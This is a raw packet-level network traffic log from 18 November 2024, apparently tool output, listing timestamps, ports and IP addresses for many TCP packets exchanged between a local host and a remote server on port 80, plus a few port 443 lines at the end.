Nov 18, 2024 23:04:15.829541922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829552889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829569101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829596043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829603910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829617023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829638004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829651117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829673052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829687119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829706907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829720974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829742908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829757929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829777956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829787970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829808950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829824924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829843044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829852104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829876900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829893112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829911947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829925060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829946995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829957008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829981089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829992056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830018044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830027103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830046892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830060959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830091953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830192089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830224991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830250025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830257893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830271006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830291986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830302954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830326080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830337048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830359936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830369949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830395937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830404043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830431938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830440998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830466032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830477953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830498934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830508947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830534935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830548048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830569983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830585003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830602884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830615044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830637932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830647945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830672026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830682039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830708027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830717087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830749989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830789089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830821991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830837965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830856085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830867052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830893040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830899954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830928087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830938101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830962896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.830974102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.830997944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831007004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831031084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831041098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831067085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831073999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831100941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831113100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831135988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831149101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831170082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831186056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831202984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831216097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831248045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831255913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831290960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831304073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831336975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831341982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831374884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831393957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831418991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831427097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831471920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831478119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831563950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831576109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831603050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831609964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831635952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831649065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831671953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831682920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831706047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831717968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831741095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831752062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831775904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831785917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831810951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831830978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831844091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831866980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831878901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831896067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831908941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831928015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831944942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831962109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.831979036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.831990957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832012892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832024097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832046986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832058907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832081079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832093954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832114935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832128048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832146883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832159996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832180977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832192898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832215071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832226038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832248926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832262993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832281113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832297087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832314968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832326889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832350016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832376003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832382917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832407951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832416058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832427025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832451105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832463026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832482100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832494974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832515955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832530975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832554102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832561016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832587957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832602024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832623005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832633018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832670927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832719088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832752943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832768917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832797050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832824945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832859039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832870960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832891941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.832911015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.832948923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870018005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870054007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870074987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870085955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870090961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870109081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870119095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870126009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870138884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870145082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870179892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870197058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870208025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870212078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870265961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870266914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870315075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870331049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870346069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870362043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870364904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870376110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870403051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870404005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870421886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870448112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870481014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870589972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870605946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870620966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870631933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870647907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870676041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870677948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870692968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870708942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870718956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870726109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870739937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870743036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.870767117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.870776892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875523090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875576019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875602961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875617027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875643015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875647068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875658989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875667095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875675917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875688076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875708103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875727892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875833988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875849962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875864029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.875875950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875894070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.875917912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.898699999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.898760080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.898770094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.898798943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.898813009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.898833036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.898864985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.898871899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.898895025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.898907900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.898910046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.898957968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899044037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899079084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899096966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899112940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899127007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899147987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899172068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899178028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899183989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899250984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899255037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899288893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899310112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899338007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899349928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899372101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899384022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899405956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899415970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899446964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899467945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899482965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899494886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899517059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899524927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899554968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899646044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899688959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899698973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899729013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899748087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899768114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899780989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899813890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899823904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899847031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899866104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899899960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899907112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899934053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.899943113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.899983883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900010109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900053978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900068998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900103092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900111914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900135994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900141954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900171041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900173903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900204897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900223970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900238037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900263071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900270939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900275946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900305986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900317907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900340080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900348902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900374889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.900388002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.900418997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.901674986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.901710033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.901726007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.901753902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.901766062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.901798964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.901809931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.901832104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.901837111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.901866913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.901873112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.901906013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.901942968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.901990891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.902086020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.902116060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.902133942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.902151108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.902164936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.902205944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.902220964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.902240992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.902251005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.902283907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.903515100 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.904375076 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.904395103 CET	443	49835	13.107.246.45	192.168.2.4
